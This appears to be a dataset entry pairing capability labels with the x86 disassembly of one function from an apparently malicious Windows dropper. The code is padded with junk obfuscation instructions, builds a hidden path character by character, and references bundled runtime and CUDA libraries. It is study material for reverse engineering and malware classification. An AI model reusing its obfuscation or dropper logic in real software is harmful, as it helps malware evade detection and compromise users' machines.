Function at 0x401290
Capabilities:
Accept command line arguments
Copy file
Create process on windows
Delete directory
Delete file
Extract resource via kernel32 functions
Get common file path
Move file
Set current directory

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x39a8
call fcn.00418fd0
push ebx
push esi
mov dword [ebp - 0x1c], 0
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
push 0
call fcn.00406a90
add esp, 4
push eax
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
lea ecx, [ebp - 0x19c]
call fcn.0040ef10
lea ecx, [ebp - 0x19c]
call fcn.004144f0
movzx eax, al
test eax, eax
jne 0x4012f6
lea ecx, [ebp - 0x19c]
call fcn.00417e70
cmp eax, 1
jne 0x401316
mov dword [ebp - 0x1f4], 0
lea ecx, [ebp - 0x19c]
call fcn.0040f670
mov eax, dword [ebp - 0x1f4]
jmp 0x406a84
push esi
mov esi, 0x5a6722c7
and esi, edx
mov esi, 0x1fc48db
pop esi
lea ecx, [ebp - 0xb4]
call fcn.0040f1c0
mov dword [ebp - 0x28], 0
jmp 0x401341
mov ecx, dword [ebp - 0x28]
add ecx, 1
mov dword [ebp - 0x28], ecx
lea ecx, [ebp - 0x19c]
call fcn.00417e70
cmp dword [ebp - 0x28], eax
jae 0x401530
mov edx, dword [ebp - 0x28]
push edx
lea ecx, [ebp - 0x19c]
call fcn.0040fde0
movzx eax, word [eax]
cmp eax, 0x22
jne 0x401427
mov ecx, dword [ebp - 0x28]
add ecx, 1
mov dword [ebp - 0x28], ecx
lea ecx, [ebp - 0x19c]
call fcn.00417e70
cmp dword [ebp - 0x28], eax
jae 0x401422
push 0x41b464
lea ecx, [ebp - 0x760]
call fcn.0040ef10
lea edx, [ebp - 0x760]
push edx
lea ecx, [ebp - 0xb4]
call fcn.004167c0
lea ecx, [ebp - 0x760]
call fcn.0040f670
lea ecx, [ebp - 0x19c]
call fcn.00417e70
cmp dword [ebp - 0x28], eax
jae 0x401422
mov eax, dword [ebp - 0x28]
push eax
lea ecx, [ebp - 0x19c]
call fcn.0040fde0
movzx ecx, word [eax]
cmp ecx, 0x22
je 0x401422
mov edx, dword [ebp - 0x28]
push edx
lea ecx, [ebp - 0x19c]
call fcn.0040fde0
mov ax, word [eax]
movzx ecx, ax
push ecx
lea ecx, [ebp - 0xb4]
call fcn.00413e80
mov ecx, eax
call fcn.00410110
push ebp
sub ebp, edi
mov ebp, 0x31601c66
sub ebp, edi
and ebp, esp
nop
pop ebp
mov edx, dword [ebp - 0x28]
add edx, 1
mov dword [ebp - 0x28], edx
jmp 0x4013ba
jmp 0x40152b
mov eax, dword [ebp - 0x28]
push eax
lea ecx, [ebp - 0x19c]
call fcn.0040fde0
movzx ecx, word [eax]
cmp ecx, 0x20
je 0x40152b
lea ecx, [ebp - 0x19c]
call fcn.00417e70
cmp dword [ebp - 0x28], eax
jae 0x40152b
push 0x41b468
lea ecx, [ebp - 0x778]
call fcn.0040ef10
lea edx, [ebp - 0x778]
push edx
lea ecx, [ebp - 0xb4]
call fcn.004167c0
lea ecx, [ebp - 0x778]
call fcn.0040f670
push eax
or eax, ecx
mov eax, 0x16d71593
mov eax, 0xd2e572b
pop eax
lea ecx, [ebp - 0x19c]
call fcn.00417e70
cmp dword [ebp - 0x28], eax
jae 0x4014f9
mov eax, dword [ebp - 0x28]
push eax
lea ecx, [ebp - 0x19c]
call fcn.0040fde0
movzx ecx, word [eax]
cmp ecx, 0x20
je 0x4014f9
mov edx, dword [ebp - 0x28]
push edx
lea ecx, [ebp - 0x19c]
call fcn.0040fde0
mov ax, word [eax]
movzx ecx, ax
push ecx
lea ecx, [ebp - 0xb4]
call fcn.00413e80
mov ecx, eax
call fcn.00410110
push ebp
mov ebp, 0x38cf4c06
mov ebp, 0x730741af
sub ebp, esi
pop ebp
mov edx, dword [ebp - 0x28]
add edx, 1
mov dword [ebp - 0x28], edx
jmp 0x401491
lea ecx, [ebp - 0xb4]
call fcn.00413e80
mov ecx, eax
call fcn.004144f0
movzx eax, al
test eax, eax
je 0x40152b
lea ecx, [ebp - 0xb4]
call fcn.00416060
push ebx
sub ebx, edi
mov ebx, 0x4b757820
mov ebx, 0x3b2f70d7
pop ebx
jmp 0x401338
push ecx
mov ecx, 0x63b709af
mov ecx, 0x34eb0e8f
xor ecx, eax
pop ecx
lea ecx, [ebp - 0xb4]
call fcn.00417f20
cmp eax, 3
je 0x401579
mov dword [ebp - 0x1f8], 0
lea ecx, [ebp - 0xb4]
call fcn.0040f820
lea ecx, [ebp - 0x19c]
call fcn.0040f670
mov eax, dword [ebp - 0x1f8]
jmp 0x406a84
lea ecx, [ebp - 0x11a8]
push ecx
push 0
push 0
push 0x23
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jl 0x4015a2
push edx
mov edx, 0x185a2f11
add edx, edx
sub edx, ebp
and edx, edi
nop
pop edx
jmp 0x4015d3
call dword [sym.imp.ole32.dll_CoUninitialize]
mov dword [ebp - 0x1fc], 0
lea ecx, [ebp - 0xb4]
call fcn.0040f820
lea ecx, [ebp - 0x19c]
call fcn.0040f670
mov eax, dword [ebp - 0x1fc]
jmp 0x406a84
push ebp
mov ebp, 0x1ad78d0
or ebp, ecx
mov ebp, 0x5e5749a
pop ebp
lea ecx, [ebp - 0x288]
call fcn.0040ed50
mov dword [ebp - 0xdc], 1
jmp 0x401607
mov edx, dword [ebp - 0xdc]
add edx, 2
mov dword [ebp - 0xdc], edx
cmp dword [ebp - 0xdc], 0x19
jae 0x40162b
mov eax, dword [ebp - 0xdc]
movzx ecx, byte [eax + section..data]
push ecx
lea ecx, [ebp - 0x288]
call fcn.00410090
jmp 0x4015f8
lea ecx, [ebp - 0x153]
call fcn.0040e460
push eax
lea edx, [ebp - 0x4a4]
push edx
lea ecx, [ebp - 0x288]
call fcn.004145a0
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x4a8]
push ecx
lea ecx, [ebp - 0x288]
call fcn.00413eb0
mov edx, dword [eax]
push edx
lea ecx, [ebp - 0xb38]
call fcn.0040bbd0
push eax
mov ecx, 0x420408
call fcn.0040fc10
lea ecx, [ebp - 0xb38]
call fcn.0040f670
push 0x41b46c
lea ecx, [ebp - 0x790]
call fcn.0040ec80
lea eax, [ebp - 0x790]
push eax
mov ecx, 0x420438
call fcn.004164c0
lea ecx, [ebp - 0x790]
call fcn.0040f630
push 0x41b470
lea ecx, [ebp - 0x7a8]
call fcn.0040ec80
lea ecx, [ebp - 0x7a8]
push ecx
mov ecx, 0x420438
call fcn.004164c0
lea ecx, [ebp - 0x7a8]
call fcn.0040f630
push esi
mov esi, 0x62a6aaf
mov esi, 0x2f874dad
or esi, ebx
pop esi
push 0x41b474
lea ecx, [ebp - 0x7c0]
call fcn.0040ec80
lea edx, [ebp - 0x7c0]
push edx
mov ecx, 0x420438
call fcn.004164c0
lea ecx, [ebp - 0x7c0]
call fcn.0040f630
push 0x41b478
lea ecx, [ebp - 0x7d8]
call fcn.0040ec80
lea eax, [ebp - 0x7d8]
push eax
mov ecx, 0x420438
call fcn.004164c0
lea ecx, [ebp - 0x7d8]
call fcn.0040f630
push 0x41b47c
lea ecx, [ebp - 0x7f0]
call fcn.0040ec80
lea ecx, [ebp - 0x7f0]
push ecx
mov ecx, 0x420438
call fcn.004164c0
lea ecx, [ebp - 0x7f0]
call fcn.0040f630
push 0x41b480
lea ecx, [ebp - 0x808]
call fcn.0040ec80
lea edx, [ebp - 0x808]
push edx
mov ecx, 0x420438
call fcn.004164c0
lea ecx, [ebp - 0x808]
call fcn.0040f630
push edx
mov edx, 0x33f617bc
add edx, edx
mov edx, 0x7f9c5e8f
pop edx
push 0x41b484
lea ecx, [ebp - 0x820]
call fcn.0040ec80
lea eax, [ebp - 0x820]
push eax
mov ecx, 0x420438
call fcn.004164c0
lea ecx, [ebp - 0x820]
call fcn.0040f630
push 0x41b488
lea ecx, [ebp - 0x838]
call fcn.0040ec80
lea ecx, [ebp - 0x838]
push ecx
mov ecx, 0x420438
call fcn.004164c0
lea ecx, [ebp - 0x838]
call fcn.0040f630
push ebp
mov ebp, 0x15200d86
mov ebp, 0x2b3a2b5e
or ebp, edi
pop ebp
push 0x41b48c
lea ecx, [ebp - 0x850]
call fcn.0040ec80
lea edx, [ebp - 0x850]
push edx
mov ecx, 0x420438
call fcn.004164c0
lea ecx, [ebp - 0x850]
call fcn.0040f630
push 0x41b490
lea ecx, [ebp - 0x868]
call fcn.0040ec80
lea eax, [ebp - 0x868]
push eax
mov ecx, 0x420438
call fcn.004164c0
lea ecx, [ebp - 0x868]
call fcn.0040f630
push 0x41b494
lea ecx, [ebp - 0x880]
call fcn.0040ec80
lea ecx, [ebp - 0x880]
push ecx
mov ecx, 0x420438
call fcn.004164c0
lea ecx, [ebp - 0x880]
call fcn.0040f630
push 0x41b498
lea ecx, [ebp - 0x898]
call fcn.0040ec80
lea edx, [ebp - 0x898]
push edx
mov ecx, 0x420438
call fcn.004164c0
lea ecx, [ebp - 0x898]
call fcn.0040f630
push edi
sbb edi, ebx
add edi, esp
and edi, ecx
add edi, ebx
sbb edi, ecx
or edi, esp
pop edi
mov dword [ebp - 0xe0], 0
jmp 0x4018e5
mov eax, dword [ebp - 0xe0]
add eax, 1
mov dword [ebp - 0xe0], eax
mov ecx, 0x420438
call fcn.00417ef0
cmp dword [ebp - 0xe0], eax
jae 0x401916
push str.data
mov ecx, dword [ebp - 0xe0]
push ecx
mov ecx, 0x420438
call fcn.0040fe40
mov ecx, eax
call fcn.004100b0
jmp 0x4018d6
push esi
mov esi, 0xca01edb
xor esi, edi
xor esi, ebp
xor esi, edx
nop
pop esi
mov dword [ebp - 0x120], 0
mov dword [ebp - 0x104], 0
mov dword [ebp - 0xe4], 1
jmp 0x401953
mov edx, dword [ebp - 0xe4]
add edx, 2
mov dword [ebp - 0xe4], edx
cmp dword [ebp - 0xe4], 0x19
jae 0x401977
mov eax, dword [ebp - 0xe4]
movsx ecx, byte [eax + section..data]
add ecx, dword [ebp - 0x120]
mov dword [ebp - 0x120], ecx
jmp 0x401944
mov dword [ebp - 0xe8], 0
jmp 0x401992
mov edx, dword [ebp - 0xe8]
add edx, 1
mov dword [ebp - 0xe8], edx
mov eax, dword [ebp - 0xe8]
cmp eax, dword [ebp - 0x120]
jge 0x4019b4
mov ecx, dword [ebp - 0x104]
add ecx, dword [ebp - 0xe8]
mov dword [ebp - 0x104], ecx
jmp 0x401983
push ecx
sub ecx, esi
and ecx, ecx
mov ecx, 0x3275143f
or ecx, edx
nop
pop ecx
mov edx, dword [ebp - 0x104]
push edx
lea eax, [ebp - 0x5a8]
push eax
call fcn.00418180
add esp, 8
lea ecx, [ebp - 0x5a8]
push ecx
mov ecx, 0x42045c
call fcn.0040fb80
push ebp
sbb ebp, esi
xor ebp, esi
mov ebp, 0x764b5987
add ebp, ecx
nop
pop ebp
push 0
mov ecx, 0x420438
call fcn.0040fe40
push eax
mov ecx, 0x4203fc
call fcn.00416650
push 1
mov ecx, 0x420438
call fcn.0040fe40
push eax
mov ecx, 0x4203fc
call fcn.00416650
push 2
mov ecx, 0x420438
call fcn.0040fe40
push eax
mov ecx, 0x4203fc
call fcn.00416650
push 3
mov ecx, 0x420438
call fcn.0040fe40
push eax
mov ecx, 0x4203fc
call fcn.00416650
push 4
mov ecx, 0x420438
call fcn.0040fe40
push eax
mov ecx, 0x4203fc
call fcn.00416650
push 5
mov ecx, 0x420438
call fcn.0040fe40
push eax
mov ecx, 0x4203fc
call fcn.00416650
push str.msvcr100.
lea ecx, [ebp - 0x8b0]
call fcn.0040ec80
lea edx, [ebp - 0x8b0]
push edx
mov ecx, 0x4203fc
call fcn.004164c0
lea ecx, [ebp - 0x8b0]
call fcn.0040f630
push ebx
add ebx, ecx
sub ebx, ebp
mov ebx, 0x7a6c0d39
xor ebx, ecx
nop
pop ebx
push edx
mov edx, 0x53670ccf
mov edx, 0x75011b4c
or edx, esi
pop edx
push str.msvcr120.
lea ecx, [ebp - 0x8c8]
call fcn.0040ec80
lea eax, [ebp - 0x8c8]
push eax
mov ecx, 0x4203fc
call fcn.004164c0
lea ecx, [ebp - 0x8c8]
call fcn.0040f630
push eax
mov eax, 0x33e90843
or eax, ebp
add eax, ecx
xor eax, esp
nop
pop eax
push str.msvcp140.
lea ecx, [ebp - 0x8e0]
call fcn.0040ec80
lea ecx, [ebp - 0x8e0]
push ecx
mov ecx, 0x4203fc
call fcn.004164c0
lea ecx, [ebp - 0x8e0]
call fcn.0040f630
push esi
mov esi, 0x74bf141e
mov esi, 0x3b3f33a2
or esi, ebx
pop esi
push str.vcruntime140.
lea ecx, [ebp - 0x8f8]
call fcn.0040ec80
lea edx, [ebp - 0x8f8]
push edx
mov ecx, 0x4203fc
call fcn.004164c0
lea ecx, [ebp - 0x8f8]
call fcn.0040f630
push edx
and edx, eax
mov edx, 0x5b2a2517
sbb edx, ebp
sbb edx, edx
nop
pop edx
push edx
mov edx, 0x453a5000
and edx, edx
mov edx, 0x76ca7e55
pop edx
push str.cudart32_55.
lea ecx, [ebp - 0x910]
call fcn.0040ec80
lea eax, [ebp - 0x910]
push eax
mov ecx, 0x4203fc
call fcn.004164c0
lea ecx, [ebp - 0x910]
call fcn.0040f630
push esi
or esi, esp
mov esi, 0x2f6d629b
mov esi, 0x5fb56149
pop esi
push ebx
mov ebx, 0x37f25f6b
and ebx, eax
mov ebx, 0x30c729e0
pop ebx
push edi
xor edi, esi
mov edi, 0x3de31900
add edi, ecx
xor edi, edx
nop
pop edi
push eax
sbb eax, esp
or eax, esi
mov eax, 0x4eea1c6c
xor eax, ecx
nop
pop eax
push str.pthreadVC2.
lea ecx, [ebp - 0x928]
call fcn.0040ec80
lea ecx, [ebp - 0x928]
push ecx
mov ecx, 0x4203fc
call fcn.004164c0
lea ecx, [ebp - 0x928]
call fcn.0040f630
push edi
sbb edi, edi
mov edi, 0x52584a7f
mov edi, 0x41607079
pop edi
push edx
mov edx, 0x3d7e15a7
sub edx, esp
sbb edx, ebp
xor edx, edx
nop
pop edx
push eax
mov eax, 0x7e6d0715
sub eax, edx
add eax, ebx
sub eax, ebp
nop
pop eax
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x8000007f
jns 0x401c51
dec eax
or eax, 0xffffff80
inc eax
add eax, 0xc4
push eax
mov ecx, 0x420420
call fcn.00417470
mov dword [ebp - 4], 0
jmp 0x401c73
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
mov ecx, 0x420420
call fcn.00417e50
cmp dword [ebp - 4], eax
jae 0x4023a0
cmp dword [ebp - 4], 2
jne 0x401cbe
push edi
mov edi, 0x6a7a7308
mov edi, 0x36e82ea4
add edi, ebx
pop edi
push edi
mov edi, 0x4d696c1b
xor edi, edi
xor edi, ebx
xor edi, edx
nop
pop edi
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x53
jmp 0x40239b
cmp dword [ebp - 4], 4
jne 0x401ce8
mov ecx, dword [ebp - 4]
push ecx
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x2d
push ebx
mov ebx, 0x25503647
add ebx, ebp
mov ebx, 0x4fd0299
pop ebx
jmp 0x40239b
cmp dword [ebp - 4], 6
jne 0x401d12
mov edx, dword [ebp - 4]
push edx
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x66
push ebp
xor ebp, ecx
mov ebp, 0x1b4e2943
mov ebp, 0x534512ce
pop ebp
jmp 0x40239b
cmp dword [ebp - 4], 9
jne 0x401d3c
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x74
push eax
mov eax, 0x57c8423e
add eax, esp
and eax, ebx
sbb eax, esp
nop
pop eax
jmp 0x40239b
cmp dword [ebp - 4], 0xc
jne 0x401d66
mov ecx, dword [ebp - 4]
push ecx
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x77
push ebx
mov ebx, 0x706231f7
mov ebx, 0x13ab109d
or ebx, edx
pop ebx
jmp 0x40239b
cmp dword [ebp - 4], 0xe
jne 0x401d90
mov edx, dword [ebp - 4]
push edx
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x61
push edi
mov edi, 0xb1c10cf
mov edi, 0x31466740
add edi, ebp
pop edi
jmp 0x40239b
cmp dword [ebp - 4], 0x12
jne 0x401dba
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x72
push ebp
mov ebp, 0x20c82411
mov ebp, 0x393e179b
and ebp, ebp
pop ebp
jmp 0x40239b
cmp dword [ebp - 4], 0x16
jne 0x401df2
mov ecx, dword [ebp - 4]
push ecx
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x65
push ebp
and ebp, ebx
add ebp, ecx
mov ebp, 0x6c0a3b7a
or ebp, ebp
nop
pop ebp
push edi
xor edi, ebx
mov edi, 0x763f5387
sub edi, esp
or edi, esp
nop
pop edi
jmp 0x40239b
cmp dword [ebp - 4], 0x17
jne 0x401e38
mov edx, dword [ebp - 4]
push edx
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x40
push eax
or eax, ebx
or eax, esi
sub eax, edx
mov eax, 0x76c5343b
nop
pop eax
push ebp
sbb ebp, eax
mov ebp, 0x38d92461
mov ebp, 0x5cc003d6
pop ebp
push ecx
and ecx, esp
mov ecx, 0x701f504e
mov ecx, 0x7fcf6b22
pop ecx
jmp 0x40239b
cmp dword [ebp - 4], 0x1b
jne 0x401e62
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x4d
push eax
add eax, eax
xor eax, ebx
sub eax, eax
or eax, edx
sub eax, esp
sub eax, edi
pop eax
jmp 0x40239b
cmp dword [ebp - 4], 0x1d
jne 0x401e7e
mov ecx, dword [ebp - 4]
push ecx
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x69
jmp 0x40239b
cmp dword [ebp - 4], 0x20
jne 0x401ea8
mov edx, dword [ebp - 4]
push edx
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x63
push edx
or edx, edx
mov edx, 0x49141c7f
mov edx, 0x4864f8e
pop edx
jmp 0x40239b
cmp dword [ebp - 4], 0x21
jne 0x401ec4
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x72
jmp 0x40239b
cmp dword [ebp - 4], 0x23
jne 0x401ee0
mov ecx, dword [ebp - 4]
push ecx
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x2d
jmp 0x40239b
cmp dword [ebp - 4], 0x26
jne 0x401f0a
mov edx, dword [ebp - 4]
push edx
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x73
push ebx
or ebx, ebx
sbb ebx, ebx
add ebx, ecx
mov ebx, 0x61235f80
nop
pop ebx
jmp 0x40239b
cmp dword [ebp - 4], 0x28
jne 0x401f42
push ebp
mov ebp, 0x9a2326d
mov ebp, 0x3d34087c
or ebp, esp
pop ebp
push ecx
mov ecx, 0x5b2175b2
sbb ecx, eax
mov ecx, 0x2b672527
pop ecx
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x2d
jmp 0x40239b
cmp dword [ebp - 4], 0x29
jne 0x401f6c
push edi
or edi, ebp
mov edi, 0x71ad610d
mov edi, 0x25115500
pop edi
mov ecx, dword [ebp - 4]
push ecx
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x66
jmp 0x40239b
cmp dword [ebp - 4], 0x2a
jne 0x401f96
mov edx, dword [ebp - 4]
push edx
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x74
push eax
mov eax, 0x62e02812
add eax, ebx
mov eax, 0x3fab1866
pop eax
jmp 0x40239b
cmp dword [ebp - 4], 0x2f
jne 0x401fc0
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x40
push esi
mov esi, 0x1fc0021b
xor esi, edx
xor esi, eax
and esi, esi
nop
pop esi
jmp 0x40239b
cmp dword [ebp - 4], 0x30
jne 0x401fea
mov ecx, dword [ebp - 4]
push ecx
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x57
push ebx
and ebx, edx
add ebx, edi
mov ebx, 0xcd83cc8
sub ebx, esi
nop
pop ebx
jmp 0x40239b
cmp dword [ebp - 4], 0x31
jne 0x402014
mov edx, dword [ebp - 4]
push edx
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x69
push ebp
and ebp, ebp
mov ebp, 0x4da377e7
mov ebp, 0x57115221
pop ebp
jmp 0x40239b
cmp dword [ebp - 4], 0x32
jne 0x40203e
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x6e
push esi
mov esi, 0x1bdb6235
add esi, edi
add esi, edx
add esi, esp
nop
pop esi
jmp 0x40239b
cmp dword [ebp - 4], 0x33
jne 0x402068
mov ecx, dword [ebp - 4]
push ecx
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x64
push ebx
or ebx, edx
add ebx, ebx
add ebx, eax
mov ebx, 0x73c100a5
nop
pop ebx
jmp 0x40239b
cmp dword [ebp - 4], 0x35
jne 0x402092
mov edx, dword [ebp - 4]
push edx
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x6f
push esi
sbb esi, esp
add esi, ecx
or esi, esp
xor esi, eax
sub esi, esp
sbb esi, edx
pop esi
jmp 0x40239b
cmp dword [ebp - 4], 0x39
jne 0x4020bc
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x77
push edx
mov edx, 0x68996515
and edx, ebp
or edx, esi
xor edx, ebp
nop
pop edx
jmp 0x40239b
cmp dword [ebp - 4], 0x3b
jne 0x4020e6
mov ecx, dword [ebp - 4]
push ecx
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x73
push edx
mov edx, 0x3c806ddb
and edx, eax
mov edx, 0x25387564
pop edx
jmp 0x40239b
cmp dword [ebp - 4], 0x41
jne 0x402110
mov edx, dword [ebp - 4]
push edx
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x40
push ebx
mov ebx, 0x6b4248d3
sub ebx, esi
mov ebx, 0x13602e3a
pop ebx
jmp 0x40239b
cmp dword [ebp - 4], 0x46
jne 0x40212c
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x43
jmp 0x40239b
cmp dword [ebp - 4], 0x48
jne 0x402148
mov ecx, dword [ebp - 4]
push ecx
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x31
jmp 0x40239b
cmp dword [ebp - 4], 0x4a
jne 0x402172
mov edx, dword [ebp - 4]
push edx
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x72
push ebp
sub ebp, esp
xor ebp, eax
mov ebp, 0x3dd6812
sbb ebp, edi
nop
pop ebp
jmp 0x40239b
cmp dword [ebp - 4], 0x4b
jne 0x40218e
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x72
jmp 0x40239b
cmp dword [ebp - 4], 0x4e
jne 0x4021b8
mov ecx, dword [ebp - 4]
push ecx
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x65
push edi
mov edi, 0x6c6735a7
mov edi, 0x79f4b41
or edi, edx
pop edi
jmp 0x40239b
cmp dword [ebp - 4], 0x52
jne 0x4021e2
push edi
and edi, eax
mov edi, 0x30752ba8
mov edi, 0x7d37e12
pop edi
mov edx, dword [ebp - 4]
push edx
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x6e
jmp 0x40239b
cmp dword [ebp - 4], 0x54
jne 0x4021fe
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x74
jmp 0x40239b
cmp dword [ebp - 4], 0x56
jne 0x402228
push edx
xor edx, ebp
xor edx, esi
mov edx, 0xf152f08
xor edx, ecx
nop
pop edx
mov ecx, dword [ebp - 4]
push ecx
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x56
jmp 0x40239b
cmp dword [ebp - 4], 0x58
jne 0x402244
mov edx, dword [ebp - 4]
push edx
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x65
jmp 0x40239b
cmp dword [ebp - 4], 0x5a
jne 0x402260
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x72
jmp 0x40239b
cmp dword [ebp - 4], 0x5b
jne 0x402298
push esi
sub esi, esi
sbb esi, ebp
mov esi, 0x55bf1536
or esi, esp
nop
pop esi
push ecx
add ecx, eax
add ecx, edx
or ecx, esi
add ecx, edi
sbb ecx, esp
and ecx, ecx
pop ecx
mov ecx, dword [ebp - 4]
push ecx
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x73
jmp 0x40239b
cmp dword [ebp - 4], 0x5f
jne 0x4022b4
mov edx, dword [ebp - 4]
push edx
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x69
jmp 0x40239b
cmp dword [ebp - 4], 0x63
jne 0x4022de
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x2d
push ebp
or ebp, esi
and ebp, edi
mov ebp, 0x52bb18f1
sub ebp, ecx
nop
pop ebp
jmp 0x40239b
cmp dword [ebp - 4], 0x64
jne 0x4022fa
mov ecx, dword [ebp - 4]
push ecx
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x6e
jmp 0x40239b
cmp dword [ebp - 4], 0x66
jne 0x402316
mov edx, dword [ebp - 4]
push edx
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x40
jmp 0x40239b
cmp dword [ebp - 4], 0x6a
jne 0x40232f
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x52
jmp 0x40239b
cmp dword [ebp - 4], 0x6e
jne 0x402348
mov ecx, dword [ebp - 4]
push ecx
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x31
jmp 0x40239b
cmp dword [ebp - 4], 0x6f
jne 0x40236f
push ebp
sub ebp, edx
xor ebp, esi
add ebp, edx
mov ebp, 0x4e4a3d00
nop
pop ebp
mov edx, dword [ebp - 4]
push edx
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x6e
jmp 0x40239b
push 0x7a
push 0x61
call fcn.00409680
add esp, 8
mov ebx, eax
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], bl
push ecx
mov ecx, 0x28fc4f70
mov ecx, 0x5af1255b
and ecx, ebp
pop ecx
jmp 0x401c6a
push edx
mov edx, 0x15a260e5
mov edx, 0x15545923
add edx, eax
pop edx
push str.request
lea ecx, [ebp - 0x578]
call fcn.0040ec80
push 0x41b5a8
push 0x420420
lea ecx, [ebp - 0xb68]
push ecx
call fcn.0040bf70
add esp, 0xc
push eax
mov ecx, 0x420444
call fcn.0040fa90
lea ecx, [ebp - 0xb68]
call fcn.0040f630
mov dword [ebp - 0x54], 0
jmp 0x4023ff
mov edx, dword [ebp - 0x54]
add edx, 1
mov dword [ebp - 0x54], edx
mov ecx, 0x420420
call fcn.00417e50
cmp dword [ebp - 0x54], eax
jae 0x4024c8
push ecx
and ecx, esi
mov ecx, 0xb1c3d60
or ecx, ecx
sub ecx, ebx
nop
pop ecx
mov eax, dword [ebp - 0x54]
push eax
mov ecx, 0x420420
call fcn.0040fda0
movsx ecx, byte [eax]
cmp ecx, 0x2d
jne 0x402457
mov edx, dword [ebp - 0x54]
push edx
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x6f
push ebx
mov ebx, 0x5a11151a
mov ebx, 0x780196e
sub ebx, ecx
pop ebx
jmp 0x4024c3
mov eax, dword [ebp - 0x54]
push eax
mov ecx, 0x420420
call fcn.0040fda0
movsx ecx, byte [eax]
cmp ecx, 0x40
jne 0x40248e
mov edx, dword [ebp - 0x54]
push edx
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x5c
push ebp
mov ebp, 0x3cfd2f08
mov ebp, 0x34703fa3
and ebp, esp
pop ebp
jmp 0x4024c3
mov eax, dword [ebp - 0x54]
push eax
mov ecx, 0x420420
call fcn.0040fda0
movsx ecx, byte [eax]
cmp ecx, 0x31
jne 0x4024c3
mov edx, dword [ebp - 0x54]
push edx
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x75
push edi
mov edi, 0x60be2d59
mov edi, 0x3b5b3ede
xor edi, ebx
pop edi
jmp 0x4023f6
push eax
sub eax, ebp
and eax, esp
sbb eax, eax
add eax, esp
xor eax, eax
and eax, edx
pop eax
mov dword [ebp - 0xec], 6
jmp 0x4024f1
mov eax, dword [ebp - 0xec]
add eax, 1
mov dword [ebp - 0xec], eax
mov ecx, 0x4203fc
call fcn.00417ef0
cmp dword [ebp - 0xec], eax
jae 0x402522
push 0x41b5b0
mov ecx, dword [ebp - 0xec]
push ecx
mov ecx, 0x4203fc
call fcn.0040fe40
mov ecx, eax
call fcn.004100b0
jmp 0x4024e2
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x4ac], esp
push 0x42045c
call fcn.0040eb10
push 0x420420
lea edx, [ebp - 0x958]
push edx
call fcn.004075f0
